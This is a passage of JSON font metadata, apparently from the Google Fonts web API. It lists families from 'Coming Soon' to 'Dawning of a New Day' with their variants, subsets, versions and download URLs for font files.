      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/comingsoon/v11/qWcuB6mzpYL7AJ2VfdQR1u-SUjjzsykh.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Concert One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/concertone/v10/VEM1Ro9xs5PjtzCu-srDqRTlhv-CuVAQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Condiment",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/condiment/v7/pONk1hggFNmwvXALyH6Sq4n4o1vyCQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Content",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/content/v12/zrfl0HLayePhU_AwUaDyIiL0RCg.ttf",
        "700": "http://fonts.gstatic.com/s/content/v12/zrfg0HLayePhU_AwaRzdBirfWCHvkAI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Contrail One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/contrailone/v9/eLGbP-j_JA-kG0_Zo51noafdZUvt_c092w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Convergence",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/convergence/v8/rax5HiePvdgXPmmMHcIPYRhasU7Q8Cad.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cookie",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cookie/v11/syky-y18lb0tSbfNlQCT9tPdpw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Copse",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/copse/v9/11hPGpDKz1rGb0djHkihUb-A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Corben",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/corben/v13/LYjDdGzzklQtCMp9oAlEpVs3VQ.ttf",
        "700": "http://fonts.gstatic.com/s/corben/v13/LYjAdGzzklQtCMpFHCZgrXArXN7HWQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cormorant",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiRLmYgoyyYzFzFw.ttf",
        "300italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qMUgIa2QTRjF8ER.ttf",
        "regular": "http://fonts.gstatic.com/s/cormorant/v8/H4clBXOCl9bbnla_nHIa6JG8iqeuag.ttf",
        "italic": "http://fonts.gstatic.com/s/cormorant/v8/H4cjBXOCl9bbnla_nHIq6pu4qKK-aihq.ttf",
        "500": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiHLiYgoyyYzFzFw.ttf",
        "500italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qNMgYa2QTRjF8ER.ttf",
        "600": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiML-YgoyyYzFzFw.ttf",
        "600italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qNghoa2QTRjF8ER.ttf",
        "700": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiVL6YgoyyYzFzFw.ttf",
        "700italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qMEh4a2QTRjF8ER.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cormorant Garamond",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQAllvuQWJ5heb_w.ttf",
        "300italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPjuw-NxBKL_y94.ttf",
        "regular": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3bmX5slCNuHLi8bLeY9MK7whWMhyjornFLsS6V7w.ttf",
        "italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrHtPkyuF7w6C.ttf",
        "500": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQWlhvuQWJ5heb_w.ttf",
        "500italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEO7ug-NxBKL_y94.ttf",
        "600": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQdl9vuQWJ5heb_w.ttf",
        "600italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEOXvQ-NxBKL_y94.ttf",
        "700": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQEl5vuQWJ5heb_w.ttf",
        "700italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPzvA-NxBKL_y94.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cormorant Infant",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN9951w3_DMrQqcdJrk.ttf",
        "300italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItcDEhRoUYNrn_Ig.ttf",
        "regular": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyPU44g9vKiM1sORYSiWeAsLN993_Af2DsAXq4.ttf",
        "italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyJU44g9vKiM1sORYSiWeAsLN997_IV3BkFTq4EPw.ttf",
        "500": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN995wQ2_DMrQqcdJrk.ttf",
        "500italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItKDAhRoUYNrn_Ig.ttf",
        "600": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN995ygx_DMrQqcdJrk.ttf",
        "600italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItBDchRoUYNrn_Ig.ttf",
        "700": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN9950ww_DMrQqcdJrk.ttf",
        "700italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItYDYhRoUYNrn_Ig.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cormorant SC",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmABIU_R3y8DOWGA.ttf",
        "regular": "http://fonts.gstatic.com/s/cormorantsc/v8/0yb5GD4kxqXBmOVLG30OGwserDow9Tbu-Q.ttf",
        "500": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmWBMU_R3y8DOWGA.ttf",
        "600": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmdBQU_R3y8DOWGA.ttf",
        "700": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmEBUU_R3y8DOWGA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cormorant Unicase",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9N_tucv7Gy0DRzS.ttf",
        "regular": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_QiZUaILtOqhqgDeXoF_n1_fTGX-vTnsMnx3C9.ttf",
        "500": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Mnt-cv7Gy0DRzS.ttf",
        "600": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9MLsOcv7Gy0DRzS.ttf",
        "700": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Nvsecv7Gy0DRzS.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cormorant Upright",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1N5phDsU9X6RPzQ.ttf",
        "regular": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJrdM3I2Y35poFONtLdafkUCHw1y2vVjjTkeMnz.ttf",
        "500": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1MhpxDsU9X6RPzQ.ttf",
        "600": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1MNoBDsU9X6RPzQ.ttf",
        "700": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1NpoRDsU9X6RPzQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Courgette",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/courgette/v7/wEO_EBrAnc9BLjLQAUkFUfAL3EsHiA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Courier Prime",
      "category": "monospace",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/courierprime/v1/u-450q2lgwslOqpF_6gQ8kELWwZjW-_-tvg.ttf",
        "italic": "http://fonts.gstatic.com/s/courierprime/v1/u-4n0q2lgwslOqpF_6gQ8kELawRpX837pvjxPA.ttf",
        "700": "http://fonts.gstatic.com/s/courierprime/v1/u-4k0q2lgwslOqpF_6gQ8kELY7pMf-fVqvHoJXw.ttf",
        "700italic": "http://fonts.gstatic.com/s/courierprime/v1/u-4i0q2lgwslOqpF_6gQ8kELawRR4-LfrtPtNXyeAg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cousine",
      "category": "monospace",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "hebrew",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cousine/v14/d6lIkaiiRdih4SpPzSMlzTbtz9k.ttf",
        "italic": "http://fonts.gstatic.com/s/cousine/v14/d6lKkaiiRdih4SpP_SEvyRTo39l8hw.ttf",
        "700": "http://fonts.gstatic.com/s/cousine/v14/d6lNkaiiRdih4SpP9Z8K6T7G09BlnmQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/cousine/v14/d6lPkaiiRdih4SpP_SEXdTvM1_JgjmRpOA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Coustard",
      "category": "serif",
      "variants": [
        "regular",
        "900"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/coustard/v10/3XFpErgg3YsZ5fqUU9UPvWXuROTd.ttf",
        "900": "http://fonts.gstatic.com/s/coustard/v10/3XFuErgg3YsZ5fqUU-2LkEHmb_jU3eRL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Covered By Your Grace",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/coveredbyyourgrace/v9/QGYwz-AZahWOJJI9kykWW9mD6opopoqXSOS0FgItq6bFIg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Crafty Girls",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/craftygirls/v9/va9B4kXI39VaDdlPJo8N_NvuQR37fF3Wlg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Creepster",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/creepster/v8/AlZy_zVUqJz4yMrniH4hdXf4XB0Tow.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Crete Round",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/creteround/v8/55xoey1sJNPjPiv1ZZZrxJ1827zAKnxN.ttf",
        "italic": "http://fonts.gstatic.com/s/creteround/v8/55xqey1sJNPjPiv1ZZZrxK1-0bjiL2xNhKc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Crimson Pro",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900",
        "200italic",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2020-02-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTm18OJE_VNWoyQ.ttf",
        "300": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZkG18OJE_VNWoyQ.ttf",
        "regular": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZzm18OJE_VNWoyQ.ttf",
        "500": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZ_G18OJE_VNWoyQ.ttf",
        "600": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZEGp8OJE_VNWoyQ.ttf",
        "700": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZKWp8OJE_VNWoyQ.ttf",
        "800": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTmp8OJE_VNWoyQ.ttf",
        "900": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZZ2p8OJE_VNWoyQ.ttf",
        "200italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4Ue5s7dtC4yZNE.ttf",
        "300italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi7Ke5s7dtC4yZNE.ttf",
        "italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6Ue5s7dtC4yZNE.ttf",
        "500italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6me5s7dtC4yZNE.ttf",
        "600italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5KfJs7dtC4yZNE.ttf",
        "700italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5zfJs7dtC4yZNE.ttf",
        "800italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4UfJs7dtC4yZNE.ttf",
        "900italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi49fJs7dtC4yZNE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Crimson Text",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/crimsontext/v10/wlp2gwHKFkZgtmSR3NB0oRJvaAJSA_JN3Q.ttf",
        "italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlpogwHKFkZgtmSR3NB0oRJfaghWIfdd3ahG.ttf",
        "600": "http://fonts.gstatic.com/s/crimsontext/v10/wlppgwHKFkZgtmSR3NB0oRJXsCx2C9lR1LFffg.ttf",
        "600italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlprgwHKFkZgtmSR3NB0oRJfajCOD9NV9rRPfrKu.ttf",
        "700": "http://fonts.gstatic.com/s/crimsontext/v10/wlppgwHKFkZgtmSR3NB0oRJX1C12C9lR1LFffg.ttf",
        "700italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlprgwHKFkZgtmSR3NB0oRJfajDqDtNV9rRPfrKu.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Croissant One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/croissantone/v7/3y9n6bU9bTPg4m8NDy3Kq24UM3pqn5cdJ-4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Crushed",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/crushed/v10/U9Mc6dym6WXImTlFT1kfuIqyLzA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cuprum",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cuprum/v11/dg4k_pLmvrkcOkB9IeFDh701Sg.ttf",
        "italic": "http://fonts.gstatic.com/s/cuprum/v11/dg4m_pLmvrkcOkBNI-tHpbglShon.ttf",
        "700": "http://fonts.gstatic.com/s/cuprum/v11/dg4n_pLmvrkcOkBFnc5nj5YpQwM-gg.ttf",
        "700italic": "http://fonts.gstatic.com/s/cuprum/v11/dg4h_pLmvrkcOkBNI9P7ipwtYQYugjW4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cute Font",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cutefont/v8/Noaw6Uny2oWPbSHMrY6vmJNVNC9hkw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cutive",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cutive/v11/NaPZcZ_fHOhV3Ip7T_hDoyqlZQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cutive Mono",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cutivemono/v8/m8JWjfRfY7WVjVi2E-K9H5RFRG-K3Mud.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "DM Sans",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-14",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dmsans/v4/rP2Hp2ywxg089UriOZSCHBeHFl0.ttf",
        "italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Fp2ywxg089UriCZaIGDWCBl0O8Q.ttf",
        "500": "http://fonts.gstatic.com/s/dmsans/v4/rP2Cp2ywxg089UriAWCrOB-sClQX6Cg.ttf",
        "500italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Ap2ywxg089UriCZaw7BymDnYS-Cjk6Q.ttf",
        "700": "http://fonts.gstatic.com/s/dmsans/v4/rP2Cp2ywxg089UriASitOB-sClQX6Cg.ttf",
        "700italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Ap2ywxg089UriCZawpBqmDnYS-Cjk6Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "DM Serif Display",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-19",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFnOHM81r4j6k0gjAW3mujVU2B2K_d709jy92k.ttf",
        "italic": "http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFhOHM81r4j6k0gjAW3mujVU2B2G_Vx1_r352np3Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "DM Serif Text",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-19",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dmseriftext/v4/rnCu-xZa_krGokauCeNq1wWyafOPXHIJErY.ttf",
        "italic": "http://fonts.gstatic.com/s/dmseriftext/v4/rnCw-xZa_krGokauCeNq1wWyWfGFWFAMArZKqQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Damion",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/damion/v9/hv-XlzJ3KEUe_YZUbWY3MTFgVg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dancing Script",
      "category": "handwriting",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSoHTeB9ptDqpw.ttf",
        "500": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BAyoHTeB9ptDqpw.ttf",
        "600": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B7y0HTeB9ptDqpw.ttf",
        "700": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B1i0HTeB9ptDqpw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dangrek",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dangrek/v11/LYjCdG30nEgoH8E2gCNqqVIuTN4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Darker Grotesque",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVoxr2AW8hTOsXsX0.ttf",
        "regular": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MH6cuh-mLQlC4BKCtayOfARkSVm7beJWcKUOI.ttf",
        "500": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVo0L3AW8hTOsXsX0.ttf",
        "600": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVo27wAW8hTOsXsX0.ttf",
        "700": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVowrxAW8hTOsXsX0.ttf",
        "800": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVoxbyAW8hTOsXsX0.ttf",
        "900": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVozLzAW8hTOsXsX0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "David Libre",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/davidlibre/v4/snfus0W_99N64iuYSvp4W_l86p6TYS-Y.ttf",
        "500": "http://fonts.gstatic.com/s/davidlibre/v4/snfzs0W_99N64iuYSvp4W8GIw7qbSjORSo9W.ttf",
        "700": "http://fonts.gstatic.com/s/davidlibre/v4/snfzs0W_99N64iuYSvp4W8HAxbqbSjORSo9W.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dawning of a New Day",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
